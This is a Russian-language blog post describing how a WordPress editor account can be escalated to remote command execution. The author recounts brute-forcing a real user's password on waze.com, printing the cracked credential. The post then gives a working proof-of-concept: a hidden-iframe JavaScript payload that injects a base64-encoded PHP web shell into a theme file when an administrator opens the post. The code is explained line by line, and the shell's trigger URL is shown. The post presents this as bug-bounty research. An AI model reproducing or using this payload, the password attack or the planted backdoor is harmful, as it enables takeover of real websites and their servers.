Всем приятного чтения. Я хочу рассказать о небезопасной фиче во всемирно известном движке для блогов — WordPress, которая присутствует в нем уже долгое время. О ней многим известно (в т.ч. эту возможность признают как «законную» сами разработчики), но я точно не уверен, описывал ли кто-то её использование именно в предлагаем в статье векторе атаки (лично я найти не смог).
Множество компаний, таких как Microsoft, Nokia, Google используют WordPress. Администраторы блогов выдают права редакторов своим PR-службам… И вот тут главный момент — в WordPress только две роли имеют права использовать javascript внутри постов — администраторы и редакторы.
Вся идея в одно предложение: создаём пост, содержащий зловредный JS. Если администратор открывает наш пост — мы получаем Remote Command Execution.
Несколько дней назад у меня появилось время и желание покопать какой-нибудь сайт Google. За цель был взят стартап — waze.com, купленный Google за 1 миллиард $. Сразу же был найден WordPress, и я решил перебрать пароли юзеров по довольно малой базе — rockyou-75.txt. Проснувшись утром увидел заветное:
[+] Starting the password brute forcer [SUCCESS] Login : di-ann Password : illuminati +----+--------+------+------------+ | Id | Login | Name | Password | +----+--------+------+------------+ | | di-ann | | illuminati | +----+--------+------+------------+ [+] Finished at Sat Sep 7 09:47:27 2013 [+] Elapsed time: 00:42:52 Exiting!
Бинго! Нашелся пароль от пользователя, с правами редактора. Конечно же сразу захотелось получить RCE на сервере. Но… известные способы сообщают, что нужно иметь права администора блога. Тогда шелл можно залить через:
- Редактирование тем и внедрение своего PHP кода;
- Заливка своего модуля с вредоносным кодом.
Эти же действия мы можем сделать через js. создаём пост под редактором, в котором открываем скрытый iframe, и в нем выполняем нужные действия. Если пост откроет админ — мы получим RCE.
PoC exploit:
<iframe name='evilframe' src='/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentythirteen' style='display:none' onload="if (evilframe.document.getElementById('newcontent').value.indexOf('system') == -1) {evilframe.document.getElementById('newcontent').value += atob('PD9waHAgQHN5c3RlbSgkX0dFVFsnY21kJ10pOyA/Pg=='); evilframe.document.getElementById('submit').click();}"></iframe>
Построчно:
iframe name='evilframe' src='/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentythirteen' // создаём iframe с редактированием шаблона страницы 404 текущей темы (twentythirteen)
style='display:none' // делаем iframe невидимым
onload= // как только загрузился
if (evilframe.document.getElementById('newcontent').value.indexOf('system') == -1) // проверяем, что шаблон темы уже не содержит backdoor (вызов функции system)
evilframe.document.getElementById('newcontent').value += atob('PD9waHAgQHN5c3RlbSgkX0dFVFsnY21kJ10pOyA/Pg=='// добавляем к текущему значению темы код <?php @system($_GET['cmd']); ?>
evilframe.document.getElementById('submit').click() // сохраняем тему
Также мы можем выполнять любые действия под администратором, например:
- Создавать нового пользователя с правами администратора;
- Изменить пароль админу (т.к. в WordPress не требуется старый пароль при его смене);
- Изменять пароль любому юзеру;
- И любые другие действия, доступные только админу.
Итак, с помощью PoC кода выше мы внедрим бэкдор в шаблон темы twentythirteen страницы 404, как только любой авторизованный админ откроет наш пост. Это касается в т.ч. последней версии WordPress — 3.6.1
После внедрения бэкдора RCE будет доступен по следующему запросу:
http://localhost/wordpress/?p=123123123&cmd=id
В случае с Google я не стал внедрять код выше, а просто записал видео, как можно получить RCE. Они сразу же удалили WordPress и переехали на blogger.com. Правильное решение. Также я нашел и другие баги, но не получил денег, так как ресурс находится в blackout периоде (6 месяцев после покупки). Но добавили в зал славы :-)
Демо (которое было отправлено в Google):
Автор: BeLove